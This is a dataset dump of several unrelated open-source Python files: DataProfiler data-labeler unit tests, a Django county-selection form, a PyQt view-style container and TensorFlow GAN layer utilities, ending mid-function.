dp.DataLabeler.load_from_disk(default_labeler_dir)\n self.assertIsInstance(data_labeler, BaseDataLabeler)\n\n data_labeler = dp.DataLabeler.load_from_disk(\n default_labeler_dir, trainable=True\n )\n self.assertIsInstance(data_labeler, TrainableDataLabeler)\n\n def test_load_with_components(self):\n preprocessor = mock.Mock(spec=data_processing.BaseDataPreprocessor)\n model = mock.Mock(spec=BaseModel)\n postprocessor = mock.Mock(spec=data_processing.BaseDataPostprocessor)\n\n data_labeler = dp.DataLabeler.load_with_components(\n preprocessor, model, postprocessor\n )\n self.assertIsInstance(data_labeler, BaseDataLabeler)\n\n model = mock.Mock(spec=BaseTrainableModel)\n data_labeler = dp.DataLabeler.load_with_components(\n preprocessor, model, postprocessor, trainable=True\n )\n self.assertIsInstance(data_labeler, TrainableDataLabeler)\n\n def test_check_and_return_valid_data_format(self):\n # test incorrect fit_or_predict value\n with self.assertRaisesRegex(\n ValueError, \"`fit_or_predict` must equal \" \"`fit` or `predict`\"\n ):\n BaseDataLabeler._check_and_return_valid_data_format([], \"oops\")\n\n # test incorrect data type\n with self.assertRaisesRegex(\n TypeError,\n \"Data must be imported using the\"\n \" data_readers, pd.DataFrames, \"\n \"np.ndarrays, or lists.\",\n ):\n BaseDataLabeler._check_and_return_valid_data_format(\"oops\")\n\n # test proper conversion of 2 dimensional structured data\n two_dim = [[\"this\", \"is\"], [\"two\", \"dimensions\"]]\n two_dim_pred = np.array([\"this\", \"is\", \"two\", \"dimensions\"])\n # for fit\n self.assertTrue(\n np.array_equal(\n np.array(two_dim),\n BaseDataLabeler._check_and_return_valid_data_format(\n two_dim, fit_or_predict=\"fit\"\n ),\n )\n )\n self.assertTrue(\n np.array_equal(\n np.array(two_dim),\n BaseDataLabeler._check_and_return_valid_data_format(\n pd.DataFrame(two_dim), fit_or_predict=\"fit\"\n ),\n )\n )\n self.assertTrue(\n np.array_equal(\n np.array(two_dim),\n BaseDataLabeler._check_and_return_valid_data_format(\n np.array(two_dim), fit_or_predict=\"fit\"\n ),\n )\n )\n # for predict\n self.assertTrue(\n np.array_equal(\n two_dim_pred,\n BaseDataLabeler._check_and_return_valid_data_format(\n two_dim, fit_or_predict=\"predict\"\n ),\n )\n )\n self.assertTrue(\n np.array_equal(\n two_dim_pred,\n BaseDataLabeler._check_and_return_valid_data_format(\n pd.DataFrame(two_dim), fit_or_predict=\"predict\"\n ),\n )\n )\n self.assertTrue(\n np.array_equal(\n two_dim_pred,\n BaseDataLabeler._check_and_return_valid_data_format(\n np.array(two_dim), fit_or_predict=\"predict\"\n ),\n )\n )\n\n # test proper conversion of 1 dimensional data\n one_dim = [\"this\", \"is\", \"one\", \"dimension\"]\n one_dim_pred = np.array(one_dim)\n # for fit\n self.assertTrue(\n np.array_equal(\n np.array(one_dim),\n BaseDataLabeler._check_and_return_valid_data_format(\n one_dim, fit_or_predict=\"fit\"\n ),\n )\n )\n self.assertTrue(\n np.array_equal(\n np.array(one_dim),\n BaseDataLabeler._check_and_return_valid_data_format(\n pd.Series(one_dim), fit_or_predict=\"fit\"\n ),\n )\n )\n self.assertTrue(\n np.array_equal(\n np.array(one_dim),\n BaseDataLabeler._check_and_return_valid_data_format(\n np.array(one_dim), fit_or_predict=\"fit\"\n ),\n )\n )\n # for predict\n self.assertTrue(\n np.array_equal(\n one_dim_pred,\n BaseDataLabeler._check_and_return_valid_data_format(\n one_dim, fit_or_predict=\"predict\"\n ),\n )\n )\n self.assertTrue(\n np.array_equal(\n one_dim_pred,\n BaseDataLabeler._check_and_return_valid_data_format(\n pd.DataFrame(one_dim), fit_or_predict=\"predict\"\n ),\n )\n )\n self.assertTrue(\n np.array_equal(\n one_dim_pred,\n BaseDataLabeler._check_and_return_valid_data_format(\n np.array(one_dim), fit_or_predict=\"predict\"\n ),\n )\n )\n\n # test proper conversion of unstructured labels\n labels = [\n [(0, 4, \"UNKNOWN\"), (4, 10, \"ADDRESS\")],\n [(0, 5, \"SSN\"), (5, 8, \"UNKNOWN\")],\n ]\n validated_labels = BaseDataLabeler._check_and_return_valid_data_format(labels)\n self.assertIsInstance(validated_labels, np.ndarray)\n self.assertEqual(len(validated_labels), 2)\n self.assertEqual(len(validated_labels[0]), 2)\n self.assertEqual(len(validated_labels[0][0]), 3)\n self.assertEqual(validated_labels[0][0][0], 0)\n self.assertEqual(validated_labels[0][1][1], 10)\n self.assertEqual(validated_labels[1][0][2], \"SSN\")\n\n # test proper conversion of data reader objects\n for dt in [\"csv\", \"json\", \"parquet\"]:\n data_obj = dp.Data(data=pd.DataFrame(two_dim), data_type=dt)\n val = BaseDataLabeler._check_and_return_valid_data_format(data_obj)\n self.assertTrue(np.array_equal(np.array(two_dim), val))\n\n\nlabel_encoding = {\n \"encoder\": {\n \"PAD\": 0,\n \"CITY\": 1, # SAME AS UNKNOWN\n \"UNKNOWN\": 1,\n \"ADDRESS\": 2,\n \"PERSON\": 3,\n },\n \"decoder\": {0: \"PAD\", 1: \"UNKNOWN\", 2: \"ADDRESS\", 3: \"PERSON\"},\n \"count\": 4,\n}\n\n\nunstruct_data_labeler_parameters = {\n \"model\": {\"class\": \"CharacterLevelCnnModel\", \"parameters\": {}},\n \"label_mapping\": {\n \"PAD\": 0,\n \"CITY\": 1, # SAME AS UNKNOWN\n \"UNKNOWN\": 1,\n \"ADDRESS\": 2,\n \"PERSON\": 3,\n },\n \"preprocessor\": {\"class\": \"CharPreprocessor\"},\n \"postprocessor\": {\"class\": \"CharPostprocessor\"},\n}\n\n\nstruct_data_labeler_parameters = {\n \"model\": {\"class\": \"CharacterLevelCnnModel\", \"parameters\": {}},\n \"label_mapping\": {\n \"PAD\": 0,\n \"CITY\": 1, # SAME AS UNKNOWN\n \"UNKNOWN\": 1,\n \"ADDRESS\": 2,\n \"PERSON\": 3,\n },\n \"preprocessor\": {\"class\": \"StructCharPreprocessor\"},\n \"postprocessor\": {\"class\": \"StructCharPostprocessor\"},\n}\n\n\ndef mock_open(filename, *args):\n if filename.find(\"model_parameters.json\") >= 0:\n return StringIO(\"{}\")\n elif filename.find(\"label_mapping.json\") >= 0:\n return StringIO(json.dumps(label_encoding[\"encoder\"]))\n elif filename.find(\"data_labeler_parameters\") >= 0:\n if filename.find(\"unstructured_model\") >= 0:\n return StringIO(json.dumps(unstruct_data_labeler_parameters))\n elif filename.find(\"structured_model\") >= 0:\n return StringIO(json.dumps(struct_data_labeler_parameters))\n else:\n return StringIO(\"{}\")\n elif filename.find(\"preprocessor_parameters\") >= 0:\n return StringIO(\"{}\")\n elif filename.find(\"postprocessor_parameters\") >= 0:\n return StringIO(\"{}\")\n\n\n@mock.patch(\"tensorflow.keras.models.load_model\")\n@mock.patch(\"builtins.open\", side_effect=mock_open)\nclass TestLoadedDataLabeler(unittest.TestCase):\n def test_has_public_functions(self, *args):\n public_functions = [\n \"predict\",\n \"save_to_disk\",\n \"load_with_components\",\n \"load_from_disk\",\n ]\n\n for func in public_functions:\n self.assertTrue(hasattr(BaseDataLabeler, func))\n\n @staticmethod\n def _setup_mock_load_model(mock_load_model):\n mock_load_model.return_value = mock.Mock()\n\n def test_load_labeler(self, mock_open, mock_load_model):\n\n # TODO: Mock exist functions\n\n self._setup_mock_load_model(mock_load_model)\n\n # load default\n data_labeler = dp.DataLabeler(labeler_type=\"structured\")\n\n self.assertDictEqual(\n label_encoding[\"encoder\"], struct_data_labeler_parameters[\"label_mapping\"]\n )\n self.assertIsInstance(\n data_labeler.preprocessor, data_processing.BaseDataPreprocessor\n )\n self.assertIsInstance(\n data_labeler.postprocessor, data_processing.BaseDataPostprocessor\n )\n\n def test_invalid_data_formats(self, mock_open, mock_load_model):\n def _invalid_check(data):\n with self.assertRaisesRegex(\n TypeError,\n \"Data must be imported using the \"\n \"data_readers, pd.DataFrames, \"\n \"np.ndarrays, or lists.\",\n ):\n BaseDataLabeler._check_and_return_valid_data_format(data)\n\n invalid_data = [\"string\", 1, None, dict()]\n print(\"\\nInvalid Data Checks:\")\n for data in invalid_data:\n print(f\"\\tChecking data format: {str(type(data))}\")\n _invalid_check(data)\n\n # cannot predict dict\n _invalid_check(data=None)\n\n # cannot predict dict\n _invalid_check(data={})\n\n def test_valid_fit_data_formats(self, mock_open, mock_load_model):\n def _valid_check(data):\n try:\n print(f\"\\tChecking data format: {str(type(data))}\")\n data = BaseDataLabeler._check_and_return_valid_data_format(\n data, fit_or_predict=\"fit\"\n )\n except Exception as e:\n self.fail(\"Exception raised on input of accepted types.\")\n return data\n\n valid_data = [\n CSVData(data=pd.DataFrame([])),\n JSONData(data=pd.DataFrame([])),\n ParquetData(data=pd.DataFrame([])),\n AVROData(data=pd.DataFrame([])),\n pd.DataFrame([]),\n list(),\n np.array([]),\n ]\n print(\"\\nValid Data Fit Checks:\")\n for data in valid_data:\n data = _valid_check(data)\n self.assertIsInstance(data, np.ndarray)\n\n def test_valid_predict_data_formats(self, mock_open, mock_load_model):\n def _valid_check(data):\n try:\n print(f\"\\tChecking data format: {str(type(data))}\")\n data = BaseDataLabeler._check_and_return_valid_data_format(\n data, fit_or_predict=\"predict\"\n )\n except Exception as e:\n self.fail(\"Exception raised on input of accepted types.\")\n return data\n\n valid_data = [\n CSVData(data=pd.DataFrame([])),\n JSONData(data=pd.DataFrame([])),\n ParquetData(data=pd.DataFrame([])),\n AVROData(data=pd.DataFrame([])),\n pd.DataFrame([]),\n list(),\n np.array([]),\n pd.Series([], dtype=object),\n ]\n print(\"\\nValid Data Predict Checks:\")\n for data in valid_data:\n data = _valid_check(data)\n self.assertTrue(\n isinstance(data, np.ndarray)\n or isinstance(data, pd.Series)\n or isinstance(data, pd.DataFrame)\n )\n\n def test_set_labels(self, mock_open, mock_load_model):\n\n # setup\n self._setup_mock_load_model(mock_load_model)\n data_labeler = dp.DataLabeler(labeler_type=\"structured\")\n data_labeler._model = mock.Mock()\n data_labeler._model.set_label_mapping.return_value = None\n\n # test require pad true\n data_labeler._model.requires_zero_mapping = True\n data_labeler.set_labels([\"a\", \"b\"])\n data_labeler._model.set_label_mapping.assert_called_with(\n label_mapping=[\"a\", \"b\"]\n )\n\n # test require pad false\n data_labeler._model.requires_zero_mapping = False\n data_labeler.set_labels([\"a\", \"b\"])\n data_labeler._model.set_label_mapping.assert_called_with(\n label_mapping=[\"a\", \"b\"]\n )\n\n def test_equality(self, mock_open, mock_load_model):\n self._setup_mock_load_model(mock_load_model)\n\n struct_data_labeler1 = dp.DataLabeler(labeler_type=\"structured\")\n struct_data_labeler2 = dp.DataLabeler(labeler_type=\"structured\")\n unstruct_data_labeler1 = dp.DataLabeler(labeler_type=\"unstructured\")\n unstruct_data_labeler2 = dp.DataLabeler(labeler_type=\"unstructured\")\n\n # Assert they are equal\n self.assertEqual(struct_data_labeler1, struct_data_labeler2)\n self.assertEqual(unstruct_data_labeler1, unstruct_data_labeler2)\n\n # Assert they are unequal because of type\n self.assertNotEqual(struct_data_labeler1, unstruct_data_labeler1)\n\n # Assert they are unequal because of _label_encoding\n struct_data_labeler1.set_labels([\"UNKNOWN\", \"b\", \"c\"])\n self.assertNotEqual(struct_data_labeler1, struct_data_labeler2)\n\n @mock.patch(\"sys.stdout\", new_callable=StringIO)\n def test_help(self, mock_stdout, *mock):\n data_labeler = dp.DataLabeler(labeler_type=\"structured\")\n data_labeler.help()\n\n self.assertIn(\"Process Input Format\", mock_stdout.getvalue())\n self.assertIn(\"Process Output Format:\", mock_stdout.getvalue())\n self.assertIn(\"Parameters\", mock_stdout.getvalue())\n\n @mock.patch(\n \"dataprofiler.labelers.data_labelers.\" \"BaseDataLabeler._load_data_labeler\"\n )\n def test_save_labeler(self, mock_load_data_labeler, mock_open, mock_load_model):\n\n # setup mocks\n mock_file = setup_save_mock_open(mock_open)\n\n base_data_labeler = BaseDataLabeler(\"fake_path\")\n base_data_labeler._model = mock.Mock()\n base_data_labeler._preprocessor = mock.Mock()\n base_data_labeler._postprocessor = mock.Mock()\n\n base_data_labeler.save_to_disk(\"test\")\n\n self.assertEqual(\n '{\"model\": {\"class\": \"Mock\"}, \"preprocessor\": {\"class\": \"Mock\"}, '\n '\"postprocessor\": {\"class\": \"Mock\"}}',\n mock_file.getvalue(),\n )\n mock_open.assert_called_with(\"test/data_labeler_parameters.json\", \"w\")\n base_data_labeler._model.save_to_disk.assert_called_with(\"test\")\n base_data_labeler._preprocessor.save_to_disk.assert_called_with(\"test\")\n base_data_labeler._postprocessor.save_to_disk.assert_called_with(\"test\")\n\n # close mock\n StringIO.close(mock_file)\n\n def test_load_with_components(self, *mocks):\n\n mock_preprocessor = mock.Mock(spec=data_processing.BaseDataPreprocessor)\n mock_preprocessor._parameters = {\"test\": 1}\n mock_postprocessor = mock.Mock(spec=data_processing.BaseDataPostprocessor)\n mock_postprocessor._parameters = {\"test\": 2}\n mock_model = mock.Mock(spec=BaseTrainableModel)\n mock_model._parameters = {\"test\": 3}\n\n data_labeler = BaseDataLabeler.load_with_components(\n preprocessor=mock_preprocessor,\n model=mock_model,\n postprocessor=mock_postprocessor,\n )\n\n self.assertIsInstance(data_labeler, BaseDataLabeler)\n self.assertEqual(\"CustomDataLabeler\", data_labeler.__class__.__name__)\n self.assertEqual(mock_preprocessor, data_labeler.preprocessor)\n self.assertEqual({\"test\": 1}, data_labeler.preprocessor._parameters)\n self.assertEqual(mock_model, data_labeler.model)\n self.assertEqual({\"test\": 3}, data_labeler.model._parameters)\n self.assertEqual(mock_postprocessor, data_labeler.postprocessor)\n self.assertEqual({\"test\": 2}, data_labeler.postprocessor._parameters)\n\n\nclass TestDataLabelerNoMock(unittest.TestCase):\n def test_multi_labelers(self, *mocks):\n \"\"\"\n Test Multiple labelers called consecutively.\n :return:\n \"\"\"\n data = dp.Data(\n data=pd.DataFrame([12, 2, 3, 4, 5]).astype(str), data_type=\"parquet\"\n )\n data2 = dp.Data(data=pd.DataFrame([\"atest\", \"b\", \"c\"]), data_type=\"csv\")\n\n structured_labeler_1 = dp.DataLabeler(labeler_type=\"structured\")\n structured_labeler_1.predict(data)\n unstructured_labeler = dp.DataLabeler(labeler_type=\"unstructured\")\n unstructured_labeler._label_encoding = {\n \"PAD\": 0,\n \"CITY\": 1, # SAME AS UNKNOWN\n \"UNKNOWN\": 1,\n \"ADDRESS\": 2,\n \"BAN\": 3,\n \"CREDIT_CARD\": 4,\n \"EMAIL_ADDRESS\": 5,\n \"UUID\": 6,\n \"HASH_OR_KEY\": 7,\n \"IPV4\": 8,\n \"IPV6\": 9,\n \"MAC_ADDRESS\": 10,\n \"NAME\": 11, # SAME AS PERSON\n \"PERSON\": 11,\n \"PHONE_NUMBER\": 12,\n \"SSN\": 13,\n \"URL\": 14,\n \"DATETIME\": 15,\n \"INTEGER_BIG\": 16, # SAME AS INTEGER\n \"INTEGER\": 16,\n \"FLOAT\": 17,\n \"QUANTITY\": 18,\n \"ORDINAL\": 19,\n }\n\n unstructured_labeler.predict(data)\n structured_labeler_2 = dp.DataLabeler(labeler_type=\"structured\")\n structured_labeler_2.predict(data2)\n\n\nclass TestTrainDataLabeler(unittest.TestCase):\n def test_has_public_functions(self, *args):\n public_functions = [\n \"predict\",\n \"save_to_disk\",\n \"load_from_disk\",\n \"load_with_components\",\n \"fit\",\n ]\n\n for func in public_functions:\n self.assertTrue(hasattr(TrainableDataLabeler, func))\n\n def test_non_trainable_model_error(self):\n mock_model = mock.Mock(spec=BaseModel)\n data_labeler = TrainableDataLabeler()\n\n with self.assertRaisesRegex(\n ValueError, \"`model` must have a fit \" \"function to be trainable.\"\n ):\n data_labeler.set_model(mock_model)\n\n def test_load_with_components(self):\n mock_preprocessor = mock.Mock(spec=data_processing.BaseDataPreprocessor)\n mock_preprocessor._parameters = {\"test\": 1}\n mock_postprocessor = mock.Mock(spec=data_processing.BaseDataPostprocessor)\n mock_postprocessor._parameters = {\"test\": 2}\n\n # assert raises error with non-trainable model\n mock_model = mock.Mock(spec=BaseModel)\n\n with self.assertRaisesRegex(\n ValueError, \"`model` must have a fit \" \"function to be trainable.\"\n ):\n data_labeler = TrainableDataLabeler.load_with_components(\n preprocessor=mock_preprocessor,\n model=mock_model,\n postprocessor=mock_postprocessor,\n )\n\n # assert functional with trainable model\n mock_model = mock.Mock(spec=BaseTrainableModel)\n mock_model._parameters = {\"test\": 3}\n\n data_labeler = TrainableDataLabeler.load_with_components(\n preprocessor=mock_preprocessor,\n model=mock_model,\n postprocessor=mock_postprocessor,\n )\n\n self.assertTrue(hasattr(data_labeler, \"fit\"))\n self.assertEqual(\"CustomTrainableDataLabeler\", data_labeler.__class__.__name__)\n self.assertEqual(mock_preprocessor, data_labeler.preprocessor)\n self.assertEqual({\"test\": 1}, data_labeler.preprocessor._parameters)\n self.assertEqual(mock_model, data_labeler.model)\n self.assertEqual({\"test\": 3}, data_labeler.model._parameters)\n self.assertEqual(mock_postprocessor, data_labeler.postprocessor)\n self.assertEqual({\"test\": 2}, data_labeler.postprocessor._parameters)\n","repo_name":"capitalone/DataProfiler","sub_path":"dataprofiler/tests/labelers/test_data_labelers.py","file_name":"test_data_labelers.py","file_ext":"py","file_size_in_byte":25865,"program_lang":"python","lang":"en","doc_type":"code","stars":1277,"dataset":"github-code","pt":"21"} +{"seq_id":"22600011187","text":"from django.forms import fields, forms, models\n\nfrom formset.widgets import DualSelector, DualSortableSelector, Selectize, SelectizeMultiple\n\nfrom testapp.models import County, CountyUnnormalized\n\n\nclass CountyForm(forms.Form):\n \"\"\"\n Using ```` in fields with Single and Multiple Choices\n ---------------------------------------------------------------\n\n This form shows the usage of different choices fields when used with option groups. When\n selecting an option, it is sometimes desirable to first group those options according to\n another criteria. For instance, consider the 3143 counties in the US. When rendering them\n inside a select box, it would be rather unclear, which county belongs to which state. For this\n purpose, HTML provides the element ````. Other than visually grouping options to\n select from, this element has no other effect.\n\n The **Historic Regions** uses a Django ``ChoiceField`` together with the ````\n elements, the left offering all available options and the right to keep the selected options.\n It shall be used if the number of selected options can exceed any number.\n\n The **Sortable Counties** field shows a ``ModelMultipleChoiceField`` using the\n ``DualSortableSelector`` widget. This is a variation of the ``DualSelector`` widget, but allows\n the user to sort the selected options before submission. It is well suited if the model\n used for the many-to-many relation also contains an ordering field. Note that it is impossible\n to move items out of one option group into another one.\n\n All four widgets ``Selectize, SelectizeMultiple``, ``DualSelector`` and ``DualSortableSelector``\n accepts these arguments:\n\n * ``search_lookup`` is the query part to filter for obects using the given queryset.\n * ``group_field_name`` in combination with option groups. This field is used to determine\n the group name.\n * ``filter_by`` is a dictionary to filter options based on the value of other field(s).\n \"\"\"\n\n historic_regions = fields.ChoiceField(\n label=\"Historic Regions\",\n choices=[\n ('', \"––––––––––\"),\n (\"New England\", [\n (1, \"Acadia\"),\n (2, \"Equivalent Lands\"),\n (3, \"King's College Tract\"),\n (4, \"Provinces of Maine\"),\n (5, \"Massachusetts Bay\"),\n (6, \"New Hampshire\"),\n (7, \"New Haven\"),\n (8, \"Plymouth\"),\n (9, \"Saybrook\"),\n (10, \"Wessagusset\"),\n ]),\n (\"Mid-Atlantic\", [\n (11, \"Granville\"),\n (12, \"East Jersey\"),\n (13, \"West Jersey\"),\n (14, \"New Netherland\"),\n (15, \"New Sweden\"),\n ]),\n (\"Southern\", [\n (16, \"Province of Carolina\"),\n (17, \"Fort Caroline\"),\n (18, \"Charlesfort\"),\n (19, \"La Florida\"),\n (20, \"Jamestown\"),\n (21, \"Fairfax Grant\"),\n (22, \"Roanoke\"),\n (23, \"Stuarts\"),\n ]),\n (\"Interior\", [\n (24, \"West Augusta\"),\n (25, \"Illinois Country\"),\n (26, \"Indiana\"),\n (27, \"Indian Reserve\"),\n (28, \"Ohio\"),\n (29, \"Quebec\"),\n ]),\n (\"Far West\", [\n (30, \"La Louisiane\"),\n (31, \"Luisiana\"),\n (32, \"Tejas\"),\n (33, \"Santa Fe\"),\n (34, \"Las Californias\"),\n ]),\n ],\n )\n\n one_county = models.ModelChoiceField(\n label=\"One County\",\n queryset=County.objects.all(),\n widget=Selectize(\n search_lookup='name__icontains',\n group_field_name='state',\n placeholder=\"Select one county\"\n ),\n required=True,\n )\n\n few_counties = models.ModelMultipleChoiceField(\n label=\"A few counties\",\n queryset=County.objects.all(),\n widget=SelectizeMultiple(\n search_lookup='name__icontains',\n group_field_name='state',\n placeholder=\"Select one or more counties\",\n max_items=15,\n ),\n required=True,\n )\n\n many_counties = models.ModelMultipleChoiceField(\n label=\"Many counties\",\n queryset=County.objects.all(),\n widget=DualSelector(\n search_lookup='name__icontains',\n group_field_name='state',\n attrs={'size': 16},\n ),\n required=True,\n )\n\n sortable_counties = models.ModelMultipleChoiceField(\n label=\"Sortable counties\",\n queryset=County.objects.all(),\n widget=DualSortableSelector(\n search_lookup='name__icontains',\n group_field_name='state',\n attrs={'size': 16},\n ),\n required=True,\n # initial=[3000, 498, 96, 95, 69, 14, 415, 10, 6],\n )\n","repo_name":"jojothedestroyer/GCNA_Linux","sub_path":"GCNA/env/Lib/site-packages/testapp/forms/county.py","file_name":"county.py","file_ext":"py","file_size_in_byte":6238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28253463","text":"from typing import Optional\n\nfrom PyQt5.QtGui import QColor, QFont\nfrom PyQt5.QtWidgets import QWidget\n\nfrom ..base import BaseSettings\nfrom utils.constants import VIEW_DEFAULT, VIEW_CONFIG\nfrom utils.scripts import colorToRGBA\n\n\nclass ViewContainer(BaseSettings):\n \"\"\"\n Generic container to handle view updates\n \"\"\"\n\n def __init__(self, parent: QWidget, file=VIEW_CONFIG):\n super().__init__(parent, file)\n self._defaults = VIEW_DEFAULT\n self._types = {\"previewPadding\": int, \"selectionBorderThickness\": int}\n self.loadSettings()\n\n def getPreviewTextStyles(\n self, font: QFont, padding: int, color: QColor, background: QColor\n ):\n \"\"\"Converts parameters to QSS styles for the previewText\n\n Args:\n font (QFont): Font of the preview text.\n padding (int): Padding of the preview box.\n color (QColor): Color of the preview text.\n background (QColor): Background color of the preview box.\n \"\"\"\n styles = f\"\"\"\n QLabel#previewText {{ \n color: {color};\n background-color: {background}; \n padding: {padding}px;\n font-family: {font.family()};\n font-size: {font.pointSize()}pt;\n margin-top: 0.02em;\n margin-left: 0.02em;\n }}\\n\n \"\"\"\n return styles\n\n def updateViewStyles(self, view: Optional[QWidget] = None):\n \"\"\"Sets the style of the view\n\n Args:\n view (QWidget, optional): The view to be updated. Defaults to None.\n \"\"\"\n styles = self.getPreviewTextStyles(\n self.previewFont,\n self.previewPadding,\n colorToRGBA(self.previewColor),\n colorToRGBA(self.previewBackground),\n )\n\n if not view:\n try:\n view = self._preview\n except AttributeError:\n return\n\n view.parentWidget().setStyleSheet(styles)\n view.rubberBand.setFill(self.selectionBackground)\n view.rubberBand.setBorder(\n self.selectionBorderColor, self.selectionBorderThickness\n )\n view.setBackgroundColor(self.windowColor)\n","repo_name":"blueaxis/Cloe","sub_path":"app/components/settings/tabs/view/container.py","file_name":"container.py","file_ext":"py","file_size_in_byte":2229,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"21"} +{"seq_id":"41728412798","text":"import tensorflow as tf\nimport numpy as np\nimport warnings\n\nNO_OPS = 'NO_OPS'\n\n\ndef scope_has_variables(scope):\n return len(tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope=scope)) > 0\n\n# from https://github.com/ctwxdd/Tensorflow-ACGAN-Anime-Generation\ndef _l2normalize(v, eps=1e-12):\n return v / (tf.reduce_sum(v ** 2) ** 0.5 + eps)\n\n# from https://github.com/ctwxdd/Tensorflow-ACGAN-Anime-Generation\n# def spectral_norm(W, u=None, num_iters=1, update_collection=None, with_sigma=False):\n# # Usually num_iters = 1 will be enough\n# W_shape = W.shape.as_list()\n# W_reshaped = tf.reshape(W, [-1, W_shape[-1]])\n#\n# if u is None:\n# u = tf.get_variable(\"u\", [1, W_shape[-1]], initializer=tf.truncated_normal_initializer(), trainable=False)\n#\n# def power_iteration(i, u_i, v_i):\n# v_ip1 = _l2normalize(tf.matmul(u_i, tf.transpose(W_reshaped)))\n# u_ip1 = _l2normalize(tf.matmul(v_ip1, W_reshaped))\n# return i + 1, u_ip1, v_ip1\n#\n# _, u_final, v_final = tf.while_loop(\n# cond=lambda i, _1, _2: i < num_iters,\n# body=power_iteration,\n# loop_vars=(tf.constant(0, dtype=tf.int32),\n# u, tf.zeros(dtype=tf.float32, shape=[1, W_reshaped.shape.as_list()[0]]))\n# )\n#\n# if update_collection is None:\n# warnings.warn('Setting update_collection to None will make u being updated every W execution. This maybe undesirable'\n# '. Please consider using a update collection instead.')\n# sigma = tf.matmul(tf.matmul(v_final, W_reshaped), tf.transpose(u_final))[0, 0]\n# # sigma = tf.reduce_sum(tf.matmul(u_final, tf.transpose(W_reshaped)) * v_final)\n# W_bar = W_reshaped / sigma\n#\n# with tf.control_dependencies([u.assign(u_final)]):\n# W_bar = tf.reshape(W_bar, W_shape)\n# else:\n# sigma = tf.matmul(tf.matmul(v_final, W_reshaped), tf.transpose(u_final))[0, 0]\n# # sigma = tf.reduce_sum(tf.matmul(u_final, tf.transpose(W_reshaped)) * v_final)\n# W_bar = W_reshaped / sigma\n# W_bar = tf.reshape(W_bar, W_shape)\n# # Put NO_OPS to not update any collection. This is useful for the second call of discriminator if the update_op\n# # has already been collected on the first call.\n# if update_collection != NO_OPS:\n# tf.add_to_collection(update_collection, u.assign(u_final))\n#\n# if with_sigma:\n# return W_bar, sigma\n# else:\n# return W_bar\n\ndef spectral_norm(w, iteration=1):\n w_shape = w.shape.as_list()\n w = tf.reshape(w, [-1, w_shape[-1]])\n\n u = tf.get_variable(\"u\", [1, w_shape[-1]], initializer=tf.random_normal_initializer(), trainable=False)\n\n u_hat = u\n v_hat = None\n for i in range(iteration):\n \"\"\"\n power iteration\n Usually iteration = 1 will be enough\n \"\"\"\n v_ = tf.matmul(u_hat, tf.transpose(w))\n v_hat = tf.nn.l2_normalize(v_)\n\n u_ = tf.matmul(v_hat, w)\n u_hat = tf.nn.l2_normalize(u_)\n\n u_hat = tf.stop_gradient(u_hat)\n v_hat = tf.stop_gradient(v_hat)\n\n sigma = tf.matmul(tf.matmul(v_hat, w), tf.transpose(u_hat))\n\n with tf.control_dependencies([u.assign(u_hat)]):\n w_norm = w / sigma\n w_norm = tf.reshape(w_norm, w_shape)\n\n return w_norm\n\ndef batch_norm(inputs, training):\n return tf.layers.batch_normalization(inputs=inputs, momentum=0.9, epsilon=1e-5, training=training, name=\"bn\")\n\n\ndef layer_norm(inputs):\n return tf.contrib.layers.layer_norm(inputs=inputs, scope=\"ln\")\n\n\ndef conv_2d(inputs, filters, kernel_size, strides, padding, stddev, training, norm, collection=None, scope='conv_2d'):\n in_dim = kernel_size * kernel_size * inputs.get_shape().as_list()[-1]\n\n if stddev is None:\n stddev = np.sqrt(2. / (in_dim))\n\n with tf.variable_scope(scope):\n if scope_has_variables(scope):\n print(\"test\")\n scope.reuse_variables()\n\n w = tf.get_variable(\"w\", [kernel_size, kernel_size, inputs.get_shape()[-1], filters],\n initializer=tf.random_normal_initializer(stddev=stddev))\n # b = tf.get_variable(\"b\", [filters], initializer=tf.constant_initializer(0.0))\n\n if norm is \"spectral_norm\":\n # w = spectral_norm(w, update_collection=collection)\n w = spectral_norm(w)\n\n\n conv = tf.nn.conv2d(inputs, w, strides=[1, strides, strides, 1], padding=padding)\n # conv = tf.nn.bias_add(conv, b)\n\n if norm is \"batch_norm\":\n conv = batch_norm(conv, training)\n elif norm is \"layer_norm\":\n conv = layer_norm(conv)\n\n return conv\n\n\ndef dense(inputs, units, stddev, training, norm, collection=None, scope='dense'):\n in_dim = inputs.get_shape().as_list()[-1]\n\n if stddev is None:\n stddev = np.sqrt(2. / (in_dim))\n\n with tf.variable_scope(scope):\n if scope_has_variables(scope):\n print(\"test\")\n scope.reuse_variables()\n\n w = tf.get_variable(\"w\", [inputs.get_shape().as_list()[-1], units],\n initializer=tf.random_normal_initializer(stddev=stddev))\n # b = tf.get_variable(\"b\", [units], initializer=tf.constant_initializer(0.0))\n\n if norm is \"spectral_norm\":\n # w = spectral_norm(w, update_collection=collection)\n w = spectral_norm(w)\n\n\n dense = tf.matmul(inputs, w)\n # dense = tf.nn.bias_add(dense, b)\n\n if norm is \"batch_norm\":\n dense = batch_norm(dense, training)\n elif norm is \"layer_norm\":\n dense = layer_norm(dense)\n\n return dense\n\n# from https://github.com/ctwxdd/Tensorflow-ACGAN-Anime-Generation\ndef phaseShift(inputs, scale, shape_1, shape_2):\n # Tackle the condition when the batch is None\n X = tf.reshape(inputs, shape_1)\n X = tf.transpose(X, [0, 1, 3, 2, 4])\n\n return tf.reshape(X, shape_2)\n\n# from https://github.com/ctwxdd/Tensorflow-ACGAN-Anime-Generation\ndef pixelShuffler(inputs, scale=2):\n size = tf.shape(inputs)\n batch_size = size[0]\n h = size[1]\n w = size[2]\n c = inputs.get_shape().as_list()[-1]\n\n # Get the target channel size\n channel_target = c // (scale * scale)\n channel_factor = c // channel_target\n\n shape_1 = [batch_size, h, w, channel_factor // scale, channel_factor // scale]\n shape_2 = [batch_size, h * scale, w * scale, 1]\n\n # Reshape and transpose for periodic shuffling for each channel\n input_split = tf.split(inputs, channel_target, axis=3)\n output = tf.concat([phaseShift(x, scale, shape_1, shape_2) for x in input_split], axis=3)\n\n return output\n","repo_name":"zxcvbnmditto/GAN","sub_path":"cgan/ops.py","file_name":"ops.py","file_ext":"py","file_size_in_byte":6620,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"37184335851","text":"def convert(nilai,basis):\n\tkamus = \"0123456789ABCDEF\"\n\tif nilai < basis :\n\t\treturn kamus[nilai]\n\telse 